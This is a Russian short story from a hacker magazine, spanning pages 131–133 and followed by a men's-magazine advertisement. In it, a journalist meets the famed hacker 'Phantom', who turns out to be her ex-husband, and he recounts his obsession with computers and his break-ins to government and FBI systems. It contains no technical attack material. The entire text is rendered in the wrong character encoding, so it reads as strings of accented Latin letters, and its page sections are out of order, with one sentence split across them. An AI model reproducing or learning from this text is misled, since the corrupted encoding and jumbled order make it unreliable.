À ìîæåò, íèêàêîãî Ôàíòîìà íå ñóùåñòâóåò âîîáùå? È âñå ýòè âçëîìû ñîâåðøèëè íèêàê íå ñâÿçàííûå ìåæäó ñîáîé ëþäè? Ñ êàêîé ýòî ñòàòè õàêåð, êîòîðîãî ðàçûñêèâàë ÷óòü ëè íå âåñü ìèð, ðåøèë çàñâåòèòüñÿ ïåðåä æóðíàëèñòêîé? Ó ìåíÿ ãîëîâà øëà êðóãîì îò âñåõ ýòèõ íåîïðåäåëåííîñòåé, è ÿ ïðîñòî ðåøèë ïîäîæäàòü äî ÷åòâåðãà. * * * Ñîáèðàÿñü â òîò äåíü íà âñòðå÷ó, ÿ îäåëà êðàñèâîå, íî íå âóëüãàðíîå ïëàòüå (ïðèâëåêàòåëüíûì ñîáåñåäíèöàì íàìíîãî îõîòíåå âûäàåøü ñâîè ñåêðåòû), ïðîâåðèëà, çàðÿæåí ëè äèêòîôîí, è íà áûñòðóþ ðóêó ïîçàâòðàêàâ, îòïðàâèëàñü â óñëîâëåííîå ìåñòî. ß î÷åíü íàäåÿëàñü, ÷òî íå îøèáëàñü — âåäü Ôàíòîì ìîã ãîâîðèòü î ëþáîì áàðå, â êîòîðûõ ÿ áûëà. Îòêóäà åìó ìîãëî áûòü èçâåñòíî, ãäå ìû ïîçíàêîìèëèñü ñ Ðîìîé? Èëè â êàêèå ìåñòà ÿ ïðåäïî÷èòàëà õîäèòü? Ñòàðàÿñü íå çàáèâàòü ñåáå ãîëîâó ïîäîáíûìè âîïðîñàìè, ÿ ñåëà â ìàøèíó è ïîåõàëà â þæíóþ ÷àñòü ãîðîäà, ãäå íàõîäèëàñü êàôåøêà «Ýéëè». Ñ òåõ ïîð êàê ìû ñ ìóæåì âïåðâûå âñòðåòèëèñü, ÿ íè ðàçó ñþäà íå âîçâðàùàëàñü. Çàâåäåíèå íàõîäèëîñü äîñòàòî÷íî äàëåêî îò ìîèõ îáû÷íûõ ìàðøðóòîâ, è ÿ íå ëþáèëà òðàòèòü âðåìÿ çðÿ, ïðåäïî÷èòàÿ îáõîäèòüñÿ áëèçëåæàùèìè êàôåòåðèÿìè. Îíà ñîâñåì íå èçìåíèëàñü. Òà æå ñêðîìíàÿ âûâåñêà, òå æå áåëûå äâåðè è òîò æå ïðÿíûé çàïàõ. Ëåãîíüêî ïåðåäåðíóâøèñü, ÷òîáû îòîãíàòü ìàíäðàæ, ÿ âîøëà â ðåñòîðàí÷èê. È ñðàçó óâèäåëà åãî. Âíóòðè áûëî äîâîëüíî ìíîãî ïîñåòèòåëåé, íî îäíîãî âçãëÿäà áûëî äîñòàòî÷íî, ÷òîáû ïîíÿòü — èìåííî îí íàçíà÷èë ìíå âñòðå÷ó. Ôàíòîì ñèäåë â óãëó çà êðîøå÷íûì íîóòáóêîì. Åãî ëèöî áûëî ñêðûòî â òåíè, íî ÿ çàìåòèëà òåìíûå î÷êè è àêêóðàòíóþ áîðîäêó. Ìóæ÷èíà îòîðâàëñÿ îò ýêðàíà è ïîäàë ìíå çíàê. Âû êîãäà-íèáóäü îùóùàëè òàêîé øîê, ÷òî âñå âîêðóã áóêâàëüíî çàìèðàåò íà ìåñòå, è òû êàæäîé ñâîåé êëåòî÷êîé îùóùàåøü âûñòóïèâøèé íà ñïèíå õîëîäíûé ïîò? Ïðèìåðíî òàêîå ÷óâñòâî ó ìåíÿ âîçíèêëî, êîãäà ÿ ðàçãëÿäåëà åãî ëèöî. Ñîñðåäîòî÷åííî èçó÷àÿ, íà ìåíÿ ñìîòðåë ìîé áûâøèé ìóæ. Îí ñèëüíî èçìåíèëñÿ, íåñìîòðÿ íà òî, ÷òî ïðîøëî âñåãî 10 ëåò. Äåëî äàæå íå â òîì, ÷òî îí ñòàë îäåâàòüñÿ ïî-äðóãîìó èëè ÷òî îí îòðàñòèë áîðîäêó. Åãî èçìåíèëè ãëàçà — ãëàçà ÷åëîâåêà, êîòîðîìó ìíîãîå ïðèøëîñü ïåðåæèòü. — Çäðàâñòâóé, Ìàðèíà. Õîðîøî âûãëÿäèøü, — íàðóøèë ïîâèñøóþ ïàóçó îí. — Çäðàâñòâóé.

131


×òî ÿ ìîãëà åùå ñêàçàòü?  òîò ìîìåíò ÿ óæå çàáûëà, çà÷åì ïðèøëà, à èç ãîëîâû âûëåòåëè âñå âîïðîñû. — ß íàäåÿëñÿ, ÷òî òû íå çàáûëà ýòî ìåñòî… — ß ìíîãîå çàáûëà çà ýòè ãîäû. Òàê òû è åñòü Ôàíòîì? — Âñåãî ëèøü ÷åëîâåê, — óëûáíóëñÿ îí, — íî íåêîòîðûå çîâóò ìåíÿ èìåííî òàê. — Çíà÷èò, ðàäè ýòîãî òû ìåíÿ áðîñèë? Ðàäè êîìïüþòåðîâ? Îí ìîë÷à ñìîòðåë íà ìåíÿ. — ß óøåë, ïîòîìó ÷òî íå õîòåë îòðàâëÿòü æèçíü íàì îáîèì. — Î ÷åì òû ãîâîðèøü? ß ÷óòü ñ óìà íå ñîøëà ïîñëå òâîåãî èñ÷åçíîâåíèÿ. — Èìåííî äëÿ ýòîãî ÿ çäåñü. ×òîáû âñå ðàññêàçàòü. * * * — Ìîé ïåðâûé êîìïüþòåð ìíå ïîäàðèë îòåö. Ýòî áûëà òðîéêà… íå ïåíòèóì 3, à âñåãî ëèøü ñòàðåíüêèé 386 PC, ñèñòåìà êîòîðîãî çàãðóæàëàñü ñ äèñêåòû. Íå çíàþ, çà ÷òî ìíå ñäåëàëè òàêîé ïîäàðîê.  øêîëå ÿ ó÷èëñÿ íåâàæíî, ðîäèòåëåé íå ñëóøàëñÿ, ê òîìó æå íèêîãäà íå çàÿâëÿë î ñâîåì æåëàíèè èìåòü ñîáñòâåííûé êîìïüþòåð. Íàâåðíîå, îòåö ïîñ÷èòàë, ÷òî íîâàÿ èãðóøêà ïîìîæåò ìíå â ó÷åáå — òîãäà áûëî ìîäíî òàê äóìàòü. Ñòðàñòü ïîÿâèëàñü ñðàçó. ß ñàì íå îæèäàë, ÷òî ìåíÿ íàñòîëüêî çàòÿíåò. Ïðè÷åì íå èãðóøêè — îíè íàäîåëè ìíå óæå ÷åðåç ïàðó íåäåëü. Áîëüøå âñåãî ìåíÿ èíòåðåñîâàëî, êàê ðàáîòàþò âñå ýòè ïðîãðàììû. Êàê ïåðåäâèãàþòñÿ îáúåêòû, êàê ñäåëàíî ìåíþ, ïî÷åìó ñóùåñòâóþò òàêèå êîìàíäû, à íå äðóãèå. Ïîëó÷èòü îòâåòû íà íåêîòîðûå âîïðîñû ïîìîãàëè êíèãè, êîòîðûå ìíå óäàëîñü äîñòàòü, äî îñòàëüíîãî äîõîäèë ñàì. Êàê-òî ñòðàííî… â øêîëå ÿ íèêîãäà íå äåëàë óñïåõîâ â ìàòåìàòèêå, íî ïðîãðàììèðîâàíèå ìíå äàâàëîñü ëåãêî. Ìíå íå íóæíî áûëî íè÷åãî çóáðèòü, íè âî ÷òî âíèêàòü. Âñå ñòàíîâèëîñü î÷åâèäíûì, ñêëàäûâàÿñü èç ëîãè÷íûõ ôðàãìåíòîâ â öåëüíóþ ìîçàèêó. Îñòàâàëîñü òîëüêî íàéòè èíôîðìàöèþ, êîòîðàÿ ïîòîì ïðî÷íî îñåäàëà ó ìåíÿ â ãîëîâå. Êîãäà ÿ âïåðâûå ñåë çà êîìï, ìíå áûëî 12 ëåò. ×åðåç ãîä ÿ ïèñàë ñâîè ïðîãðàììû. À åùå ÷åðåç ãîä ñîçäàë ñîáñòâåííûé êîìïüþòåðíûé âèðóñ, äàæå íå èìåÿ ïðåäñòàâëåíèÿ, êàêèìè îíè äîëæíû áûòü. Îí óëûáíóëñÿ, âñïîìíèâ î êàêèõ-òî îäíîìó åìó èçâåñòíûõ ìîìåíòàõ.

ùåì êàíàëå ìû îáùàëèñü îáî âñåì íà ñâåòå, îáñóæäàëè íîâîñòè, à â ïðèâàòàõ îáìåíèâàëèñü îïûòîì ïðîãðàììèðîâàíèÿ è âçëîìà. ß òîãäà íåìíîãî çíàë î êîìïüþòåðíîé áåçîïàñíîñòè, íî ÷åì áîëüøå ÿ ãîâîðèë ñ ýòèìè ðåáÿòàìè, òåì áîëüøå óçíàâàë. Îíè áûëè ýëèòîé ñâîåãî âðåìåíè. Âñå, ÷òî ÿ óçíàâàë, ÿ ñïåøèë îïðîáîâàòü. È êîãäà ÿ îñâàèâàë î÷åðåäíîé òðþê, ìíå ñðàçó æå õîòåëîñü óçíàòü åùå îäèí, ðàçîáðàòüñÿ, êàê ðàáîòàåò íîâàÿ òåõíîëîãèÿ èëè ïðîòîêîë. Êîíå÷íî, ðîäèòåëÿì ýòè íî÷íûå ïîñèäåëêè î÷åíü íå ïîíðàâèëèñü, à êîãäà ÷åðåç 2 ìåñÿöà íàì âûñòàâèëè ñ÷åò çà òåëåôîí, îò êîòîðîãî îòåö ïîêðûëñÿ èñïàðèíîé, ìåíÿ íà âðåìÿ ëèøèëè íå òîëüêî òåëåôîíà, íî è êîìïüþòåðà… Ðîìà ðàññêàçàë î òîì, êàê ñîâåðøèë ñâîé ïåðâûé êðóïíûé âçëîì, êàê ïåðååõàë â äðóãîé ãîðîä, ÷òîáû ïîñòóïèòü â èíñòèòóò, êàê çàðàáîòàë 2 òûñÿ÷è äîëëàðîâ, âçëîìàâ ïî ïðîñüáå çàêàç÷èêà çàùèòó êàêîãî-òî æóòêî äîðîãî ïðîãðàììíîãî ïàêåòà. Êàê ïðîõîäèëè åãî ñòóäåí÷åñêèå ãîäû, íåðàçðûâíî ñâÿçàííûå ñ áëóæäàíèÿìè ïî Ñåòè, êàê îí çàêîí÷èë èíñòèòóò è ïîñòóïèë íà ðàáîòó ñèñòåìíûì àäìèíèñòðàòîðîì â êðóïíóþ êîìïüþòåðíóþ êîìïàíèþ, ÷òîáû ïîëó÷èòü äîñòóï ê çàêðûòîé èíôîðìàöèè. ß ïðàêòè÷åñêè íå ïðåðûâàëà åãî, ëèøü èçðåäêà çàäàâàÿ óòî÷íÿþùèå âîïðîñû. È îí ïðîäîëæàë… — Ê 23 ãîäàì ÿ óæå ñåðüåçíî ïåðåðîñ ñâîèõ áûâøèõ ó÷èòåëåé. Ìíîãèå èç íèõ ïðîäîëæàëè äîâîëüñòâîâàòüñÿ âçëîìàìè ïðîñòåíüêèõ ñèñòåì, îáñóæäàëè óñòàðåâøèå òåõíîëîãèè. Äà è îòíîøåíèå ó íèõ áûëî ñîâñåì äðóãîå — îíè îòíîñèëèñü ê õàêåðñòâó, êàê ê èãðå, à ê î÷åðåäíîé íåïðèñòóïíîé ñèñòåìå — êàê ê ìàòåìàòè÷åñêîé çàäà÷êå, êîòîðóþ íóæíî ðåøèòü. — Ðàçâå òàê è íå äîëæíî áûòü? Ìíå âñåãäà êàçàëîñü, ÷òî âçëîì äëÿ õàêåðà — ÷òî-òî âðîäå èíòåëëåêòóàëüíîãî ïîåäèíêà. — Òàê îíî è åñòü. Äî òîãî ìîìåíòà, ïîêà òû íå ïîíèìàåøü, ÷òî â Ñåòè íåò çàêðûòûõ äâåðåé. Âñå ýòè çàìêè, êîòîðûå ñîçäàþò ïðîãðàììèñòû, îãîðàæèâàþò îò ñëó÷àéíûõ ïîñåòèòåëåé. ß ñàì áûë îäíèì èç íèõ, êîãäà ðàçáèðàë ïî êîñòî÷êàì çàùèòû è ðàäîâàëñÿ êàæäîìó íîâîìó óñïåõó. Íàñòîÿùåãî õàêåðà ìîæíî ñðàâíèòü ñ àäìèíèñòðàòîðîì ãîñòèíèöû, äëÿ êîòîðîãî äâåðè âî âñåõ íîìåðàõ çàêðûòû, íî ïðè æåëàíèè îí ìîæåò â ëþáîé ìîìåíò äîñòàòü íóæíûé êëþ÷. È åìó íå íóæíî åãî èñêàòü, òàê êàê êëþ÷ âñåãäà ïîä ðóêîé.

ÑÒÐÀÑÒÜ ÏÎßÂÈËÀÑÜ ÑÐÀÇÓ.. ß ÑÀÌ ÍÅ ÎÆÈÄÀË, ×ÒÎ ÌÅÍß ÍÀÑÒÎËÜÊÎ ÇÀÒßÍÅÒ.. Çà òå ïîëòîðà ãîäà, êîòîðûå ìû ïðîâåëè âìåñòå, îí íèêîãäà íå ðàññêàçûâàë î ñâîåì äåòñòâå. ×òî òàì ãîâîðèòü, ÿ è î íàñòîÿùåì åãî òîãäà çíàëà íåìíîãîå. È âîò òîëüêî òåïåðü, 10 ëåò ñïóñòÿ, ÿ íà÷àëà ÷òîòî î íåì óçíàâàòü. — Ðîäèòåëè áûñòðî ïîæàëåëè, ÷òî êóïèëè ìíå êîìïüþòåð, — ïðîäîëæàë Ðîìà. — ß íà÷àë ïðîãóëèâàòü øêîëó, ðåäêî âûõîäèë èç äîìà, ìàëî îáùàëñÿ ñ äðóçüÿìè. Ìàòü ïûòàëàñü ïðÿòàòü êëàâèàòóðó, ìûøêó, íî ÿ âñåãäà èõ íàõîäèë. À êîãäà ìåíÿ ïûòàëèñü îãðàäèòü îò ñèäåíèÿ çà êîìïîì, â äîìå íà÷èíàëèñü ñêàíäàëû ñî ñëåçàìè è óãðîçàìè. Òåáå, íàâåðíîå, òðóäíî ýòî ïðåäñòàâèòü, íî êîìïüþòåð áûë äëÿ ìåíÿ öåíòðîì ìèðà, åäèíñòâåííîé âåùüþ, êîòîðàÿ çàíèìàëà âñå ìîè ìûñëè. À ïîòîì ÿ óçíàë ïðî Èíòåðíåò… ýòî áûëî íàñòîÿùèì îòêðîâåíèåì. Áîëüøå âñåãî ìíå íå õâàòàëî âîçìîæíîñòè ïîäåëèòüñÿ ñâîèìè ìûñëÿìè ñ òåìè, êòî ìåíÿ ïîéìåò, îáñóäèòü ìîè èäåè, ïðîãðàììû. Äðóçåé èíòåðåñîâàëè òîëüêî èãðû, â êîòîðûå ó ìåíÿ ìîæíî áûëî ïîèãðàòü, à åäèíñòâåííûì ïðîãðàììèñòîì, êîòîðîãî ÿ çíàë, áûë çíàêîìûé îòöà. Ìóæèê ëåò ñîðîêà, ñ êîòîðûì ó ìåíÿ, êðîìå êîìïüþòåðîâ, íå áûëî íè÷åãî îáùåãî. Èíòåðíåò ìîã äàòü òî, ÷òî ÿ õîòåë, è äàæå áîëüøå! ß ñòàë êîïèòü äåíüãè, è ñî âðåìåíåì êóïèë ìîäåì. Âûõîä â Ñåòü äëÿ ìåíÿ áûë ñðàâíèì ñ âûõîäîì â ìèð èç ïåùåðû ÷åëîâåêà, êîòîðûé ïðîâåë â íåé âñþ ñâîþ æèçíü è íå âèäåë íè÷åãî, êðîìå êàìåííûõ ñòåí. ß âñïîìíèëà, êàê ñàìà ïåðâûé ðàç ïîäêëþ÷èëàñü ê Èíòåðíåòó. Ïîäðóãà, ÿðàÿ ïîêëîííèöà ÷àòîâ, ïîñîâåòîâàëà ïîïðîáîâàòü íîâîå ðàçâëå÷åíèå. È, òàê êàê ó íàñ äîìà óæå áûë êîìïüþòåð, â êîòîðîì ÿ òîãäà ìàëî ÷òî ñîîáðàæàëà, îñòàâàëîñü ñõîäèòü â ìàãàçèí è êóïèòü êàðòî÷êó. À êîãäà íàêîíåö äîçâîíèëàñü ê ïðîâàéäåðó è î÷óòèëàñü â ýòîì ñàìîì Èíòåðíåòå, òî áèòûõ äâà ÷àñà ïðîâåëà, ïûòàÿñü ðàçîáðàòüñÿ, êóäà íóæíî íàæèìàòü, ÷òîáû ïîïàñòü â ÷àò-ðóì.  îáùåì, íè÷åãî âîëøåáíîãî. — È òû ñðàçó ñòàë õàêåðîì? — ñïðîñèëà ÿ. — Äëÿ òîãî ÷òîáû áûòü õàêåðîì, ìàëî îäíîãî ïîäêëþ÷åíèÿ ê Ñåòè. Ïåðâûå ìåñÿöû ÿ íàñëàæäàëñÿ ñâîáîäîé è îáùåíèåì, ÿ íàøåë ìåñòà, ãäå ñèäåëè òàêèå æå îäåðæèìûå çíàíèÿìè ðåáÿòà. Âïåðâûå ó ìåíÿ ïîÿâèëèñü íàñòîÿùèå äðóçüÿ, êîòîðûå ðàçäåëÿëè ìîè ìûñëè è êîòîðûì ñî ìíîé ïî-íàñòîÿùåìó áûëî èíòåðåñíî. ß çàñèæèâàëñÿ äî óòðà, òàê êàê èìåííî íî÷üþ ïðîèñõîäèëè ñàìûå èíòåðåñíûå äèñêóññèè.  îá-

132

Ó Ñåòè åñòü îäíà îñîáåííîñòü: ÷åì áîëüøå òû óçíàåøü î íåé, ÷åì ãëóáæå åå ïîíèìàåøü, òåì ñèëüíåå îíà òåáÿ çàòÿãèâàåò.  øêîëüíûå ãîäû ÿ ìîã öåëûé äåíü ïðîñèäåòü çà êîìïüþòåðîì, íî âå÷åðîì ïîéòè ïðîãóëÿòüñÿ èëè ñîçâîíèòüñÿ ñî ñòàðûì ïðèÿòåëåì. Íåñêîëüêî ëåò ñïóñòÿ íåîáõîäèìîñòü îáùåíèÿ è êîíòàêòîâ ñ ðåàëüíûì ìèðîì îòïàëà, à îäåðæèìîñòü çíàíèÿìè ñòàëà åùå áîëüøå. Ìíå áûëî ñòðàííî ýòî ñëûøàòü, òàê êàê, êàê ÿ óæå ãîâîðèëà, ìîé ìóæ íå áûë îòøåëüíèêîì. È ìíå êàçàëîñü, îí ëþáèò æèçíü çà ïðåäåëàìè êâàðòèðû. ß ñïðîñèëà åãî îá ýòîì. —  òîì ãîäó, êîãäà ìû ñ òîáîé âñòðåòèëèñü, ÿ óæå ïðàêòè÷åñêè ïåðåøåë ãðàíü. ß ÷óâñòâîâàë, ÷òî ïðîñòî îòäàì äóøó êîìïüþòåðàì. ß ìàëî ñïàë, ïëîõî åë, ïî íî÷àì ìíå ñíèëèñü êîøìàðû, â êîòîðûõ ÿ îêàçûâàëñÿ âíóòðè Ñåòè è íå ìîã âåðíóòüñÿ.  ãëóáèíå äóøè ÿ, íàâåðíîå, äàæå õîòåë ýòîãî. Îäíàæäû, êîãäà ÿ âûøåë íà óëèöó, ÷òîáû ïîïîëíèòü çàïàñû ïèùè, ÿ ñëó÷àéíî çàìåòèë ïàðî÷êó, ñèäÿùóþ íà áåðåãó êàíàëà. ß âãëÿäåëñÿ â èõ ñèÿþùèå îò ñ÷àñòüÿ ëèöà, è ÷òî-òî âî ìíå ïåðåâåðíóëîñü. Ïðåäñòàâü, ÿ íå ìîã âñïîìíèòü, êîãäà â ïîñëåäíèé ðàç óëûáàëñÿ. — Òåáå íå õîòåëîñü èçìåíèòü ñâîþ æèçíü? — Áîëåå òîãî, ÿ ÷óâñòâîâàë, ÷òî åñëè íå èçìåíþ åå, òî ñîéäó ñ óìà. À ÷åðåç íåäåëþ, ñèäÿ íà ýòîì ñàìîì ìåñòå è ïðîâåðÿÿ óëîâ ñêàíèðóþùèõ ïðîãðàìì, ÿ óâèäåë òåáÿ. Òû äàæå íå ïðåäñòàâëÿåøü, êàêèõ óñèëèé ìíå ñòîèëî ïîäîéòè è çàãîâîðèòü ñ òîáîé. ß òàê íàäåÿëñÿ, ÷òî òû ñìîæåøü ìíå ïîìî÷ü. — ß ïîìíþ. Òû äàæå ïóòàëñÿ â ñëîâàõ, íî ìíå ýòî äàæå ïîíðàâèëîñü. — Ïîñëå íàøåé íî÷è ÿ ïîîáåùàë ñåáå, ÷òî âîçäåðæóñü îò õàêåðñòâà è êîìïüþòåðîâ âîîáùå, õîòÿ áû íà êàêîå-òî âðåìÿ. Ìíå óäàëîñü ðàñòÿíóòü ýòî âðåìÿ íà ãîä. — Íî òû âåäü ðàáîòàë ïðîãðàììèñòîì! — Äåëàë âèä. Íà ñàìîì äåëå ïûòàëñÿ àêêëèìàòèçèðîâàòüñÿ â ðåàëüíîì ìèðå, õîäèë â ðàáî÷åå âðåìÿ ïî ãîðîäó, ïîñåùàë âûñòàâêè è îáùàëñÿ ñ ëþäüìè. Ïðàâäà, îùóùàë ñåáÿ êàê ðûáà, âûáðîøåííàÿ ïåñîê. — Òû òàê æå îùóùàë ñåáÿ ñî ìíîé? — Ñ òîáîé ìíå áûëî õîðîøî, èíà÷å ÿ áû íà òåáå íå æåíèëñÿ, — óëûáíóëñÿ îí. — È ÿ íàäåÿëñÿ, ÷òî òàê è áóäåò â áóäóùåì.

XÀÊÅÐ 02 /86/ 06


* * * — Ñ ìîìåíòà íàøåé ñâàäüáû ÿ íè ðàçó íå áûë íà ñâîåé ñòàðîé êâàðòèðå — òàì, ãäå ñòîÿëî âñå êîìïüþòåðíîå îáîðóäîâàíèå. ß óæå ïî÷òè ïðîñòèëñÿ ñ ïðîøëîé æèçíüþ è õîòåë òîëüêî ïîñëåäíèé ðàç âçãëÿíóòü íà ñâîè âåùè. ×òîáû áûòü óâåðåííûì, ÷òî ïðàâèëüíî ïîñòóïèë. Âñå íàõîäèëîñü òàì, ãäå ÿ îñòàâèë â ïîñëåäíèé ðàç: 2 ìîíèòîðà, ÷åðíûé ñèñòåìíûé áëîê, ñòàðåíüêîå êîæàíîå êðåñëî… ß ïðîâåë ðóêîé ïî êëàâèàòóðå, è ýòî áûëî ñòîëü çíàêîìîå è ïðèÿòíîå îùóùåíèå. ß çíàë, ÷òî íå ñëåäîâàëî ýòîãî äåëàòü, â êîíöå êîíöîâ, ÿ äàë ñåáå ñëîâî. Íî ìíå õîòåëîñü õîòü íà ìèíóòó îêàçàòüñÿ â Ñåòè, çàãëÿíóòü â ìåñòà, ãäå ðàíüøå ïîñòîÿííî áûâàë, ïðîâåðèòü îñòàâëåííûå êîãäà-òî ñêðûòûå æó÷êè.  ïîñëåäíèé ðàç. È ÿ âêëþ÷èë êîìïüþòåð… Äàëüøå ÿ ïîíÿëà âñå áåç åãî ñëîâ. Ïîáåäèòü íàðêîòèê ñëîæíî, íî òàê ëåãêî óïóñòèòü ïîáåäó, ïîïðîáîâàâ åãî åùå ðàç. — Ñïóñòÿ íåñêîëüêî ÷àñîâ ÿ ïîíÿë, ÷òî ñîâåðøèë îøèáêó. Âñå ýòî âðåìÿ ÿ ÷óâñòâîâàë, ÷òî ñ÷àñòëèâ, íî íà ñàìîì äåëå òîëüêî îáìàíûâàë ñåáÿ. Ïî-íàñòîÿùåìó ñ÷àñòëèâûì ÿ ñòàë, êîãäà âåðíóëñÿ â îáû÷íóþ ñðåäó, â ìèð, ãäå âñå ïîä÷èíÿåòñÿ ëîãèêå è òâîèì ïàëüöàì. ß ãóëÿë â ïàðêå è ñ÷èòàë, ÷òî ïîïðîñòó òðà÷ó âðåìÿ, ãëÿäÿ íà êàðòèíû â ãàëåðåÿõ, ÿ ïûòàëñÿ, íî íå ïîíèìàë èõ êðàñîòû, îáùàÿñü ñ ëþäüìè, îòêðîâåííî ñêó÷àë, âèäÿ èõ îãðàíè÷åííîå ìûøëåíèå. Æèâÿ ñ òîáîé, ÿ ñòàðàëñÿ óáåæàòü îò ñåáÿ, íî ýòî âåäü íåâîçìîæíî. — Íóæíî áûëî ïîãîâîðèòü ñî ìíîé, ïðèíåñòè â äîì ñâîé êîìïüþòåð. ß íå ñòàëà áû òåáÿ îòòàñêèâàòü îò íåãî è ÷èòàòü ìîðàëè. — Óâû, äëÿ ìåíÿ ýòè äâà ìèðà áûëè íåñîâìåñòèìû. ß äîëæåí áûë óéòè. ß îñòàâèë òåáå çàïèñêó, êîãäà òû áûëà íà ðàáîòå, ïðîäàë êâàðòèðó è ïåðååõàë â äðóãóþ ñòðàíó. Êóäà — òåïåðü óæå íåâàæíî. Ñíÿë óþòíóþ êâàðòèðêó ñ âèäîì íà ðåêó, êóïèë íîâóþ êîìïüþòåðíóþ àïïàðàòóðó è ïîãðóçèëñÿ â Ñåòü.  äåíüãàõ ÿ íå íóæäàëñÿ. Èíòåðíåò — ýòî áåçäîííàÿ êîïèëêà, èç êîòîðîé äåíüãè ðàçäîáûòü ñòîëü æå ïðîñòî, êàê è îáíàëè÷èòü ÷åê â áàíêå. Òåõíîëîãèè, â òîì ÷èñëå çàùèòû, íåïðåðûâíî ñîâåðøåíñòâîâàëèñü, è ÷òîáû áûòü â êóðñå âñåãî, ïðèõîäèëîñü ïîñòîÿííî ïîäïèòûâàòü ñåáÿ íîâûìè çíàíèÿìè. Ó ìåíÿ íå áûëî öåëè ïîçíàòü âñå, íî ëþáûå íåðàçðåøåííûå âîïðîñû, âñå, ÷òî ìíå áûëî íåïîíÿòíî, çàñåäàëî â ãîëîâå, êàê çàíîçà, êîòîðàÿ çóäåëà, ïîêà ÿ íå ðàçîáðàëñÿ ÷òî ê ÷åìó. ß çàõîäèë íà ñèñòåìû, ïðèíàäëåæàùèå ïðàâèòåëüñòâàì, âîåííûì, êðóïíûì êîìïàíèÿì, íî íèêîãäà íå ñ÷èòàë, ÷òî âëàìûâàþñü â ÷üè-òî âëàäåíèÿ. Âñÿ Ñåòü áûëà ìîèì äîìîì, âñå çíàíèÿ â íåé ïðèíàäëåæàëè ëþäÿì, ïîýòîìó ëþáîé êîìïüþòåð, êîòîðûé ÿ èçó÷àë, áûë îò÷àñòè ìîèì. — Òû íå áîÿëñÿ, ÷òî òåáÿ ïîéìàþò?

XÀÊÅÐ 02 /86/ 06

— Íåò, âåäü ÿ íàìíîãî ëó÷øå ñâîèõ îõîòíèêîâ çíàë, ïî êàêèì ïðèçíàêàì ìåíÿ ìîæíî íàéòè. È èìåë äîñòóï ê àðõèâàì ÔÁÐ, ñîäåðæàùèì ìîå äîñüå. Äóìàþ, àìåðèêàíñêîå ïðàâèòåëüñòâî áûëî áû øîêèðîâàíî, ��çíàé, íàñêîëüêî ëåãêî ëþáîé ìîæåò âîñïîëüçîâàòüñÿ áàçîé äàííûõ Áþðî. — À îòêóäà âñå-òàêè ïîÿâèëîñü ïðîçâèùå «Ôàíòîì»? — Íå çíàþ, — Ðîìà ïîæàë ïëå÷àìè. — Òàê êàê ÿ íèãäå íå ïîäïèñûâàëñÿ è íèêàê ñåáÿ íå íàçûâàë, ëþäè ðåøèëè ñàìè äàòü ìíå èìÿ. Íå áóäó ñêðûâàòü, ìíå ýòî ëüñòèëî. ß ðàññêàçàëà åìó î ïðî÷èòàííîé ìíîé ñòàòüå — «Ðîáèí Ãóä àíäåãðàóíäà» — è ïîèíòåðåñîâàëàñü, ñîîòâåòñòâîâàëà ëè îíà îïèñàííîìó ïåðñîíàæó. — ×èíîâíèêè ñ÷èòàþò, ÷òîð èìåþò ïðàâî íàâÿçûâàòü ñâîè ïîðÿäêè è ÷òî èìåþò àáñîëþòíóþ âëàñòü íå òîëüêî â ðåàëüíîì ìèðå, íî è â Ñåòè. Íî ñàìè ïî ñåáå îíè â Èíòåðíåòå íèêòî. Çíàíèÿ — âîò ÷òî åñòü íàñòîÿùàÿ âëàñòü, è ïðîòèâîïîñòàâëåíèå ìîèõ çíàíèé èõ ïîêàçíîé ñèëå äàâàëî ìíå ñòèìóë ê äåéñòâèÿì. À òî, ÷òî ìîè ïîñòóïêè êîìó-òî ïîìîãàþò, — ÷òî æ, ÿ òîëüêî ðàä. Ê òîìó ìîìåíòó ÿ óæå îòîøëà îò ïåðâîíà÷àëüíîãî øîêà è âåðíóëàñü ê öåëè ñâîåãî ïðèõîäà. Íà ñòîëèêå ëåæàë äèêòîôîí, êîòîðûé òùàòåëüíî çàïèñûâàë êàæäîå ñëîâî. ß ñïðàøèâàëà è ñïðàøèâàëà: î ñàìûõ ãðîìêèõ âçëîìàõ, î ëþäÿõ, ñ êîòîðûìè åìó äîâîäèëîñü îáùàòüñÿ, î äîñòîèíñòâàõ Ñåòè è ìíîãîì äðóãîì. Îí îõîòíî îòâå÷àë, è ìû ïðîñèäåëè äî 12 ÷àñîâ íî÷è. Ê ýòîìó âðåìåíè êàôå óæå çàêðûâàëîñü è ìû âûøëè íà óëèöó. Íåñìîòðÿ íà íî÷ü, ïîãîäà ñòîÿëà ïî-ëåòíåìó òåïëàÿ. Ó ìåíÿ îñòàâàëñÿ ïîñëåäíèé âîïðîñ, íàâåðíîå, ñàìûé âàæíûé. Ïî÷åìó îí ðåøèë âñòðåòèòüñÿ ñî ìíîé, ðàññêàçàòü î ñåáå? — Çàâòðà ÿ óëåòàþ, ÷òîáû ñîâåðøèòü òî, ê ÷åìó øåë ïîñëåäíèå íåñêîëüêî ëåò. ß íå ìîãó òåáå âñå ðàññêàçàòü, ñêàæó òîëüêî, ÷òî íè îäíîìó õàêåðó íå ïðèõîäèëî â ãîëîâó ñäåëàòü íå÷òî ïîäîáíîå. Íàäåþñü, ÷òî ëþäè ýòî îöåíÿò, íî íà ýòîò ðàç ÿ íå óâåðåí, ÷òî ìíå óäàñòñÿ ñíîâà âûéòè ñóõèì èç âîäû. Ïîýòîìó ÿ õî÷ó, ÷òîáû òû ïåðåäàëà ìèðó îáî âñå, ÷òî ñëûøàëà. — Ìû åùå óâèäèìñÿ? — Íåò. Îí ñåë â ìàøèíó è ïåðåä òåì, êàê óåõàòü, âëîæèë ìíå ÷òî-òî â ðóêó. Ýòî áûë èçÿùíûé áðåëîê ñ ìèíèàòþðíûì ýêðàíîì. — Âíóòðè åñòü êîä äëÿ îòêðûòèÿ ÿ÷åéêè â Ñè Áàíêå. ß êîå-÷òî ïðèãîòîâèë äëÿ òåáÿ. Ïðîùàé, Ìàðèíà. Áåëàÿ Õîíäà òèõî çàâåëàñü è óíåñëàñü âäàëü. ß íåêîòîðîå âðåìÿ ñòîÿëà è ñìîòðåëà åé â ñëåä, à ïîòîì ñåëà â ñâîþ ìàøèíó è îòïðàâèëàñü äîìîé. Óæå çíàÿ, êàê íà÷àòü ñâîþ ñòàòüþ. BINARY YOUR’S z

133


ÌÓÆÑÊÎÉ ÆÓÐÍÀË

ÓÆÅ Â ÏÐÎÄÀÆÅ


âñå äåëî â òåõíèêå ñëîãàí,

êîòîðûé íå ïðèíÿëè:

âñå òåëî â òåõíèêå

÷èòàé â ôåâðàëå: Èðèíà Âîëê:

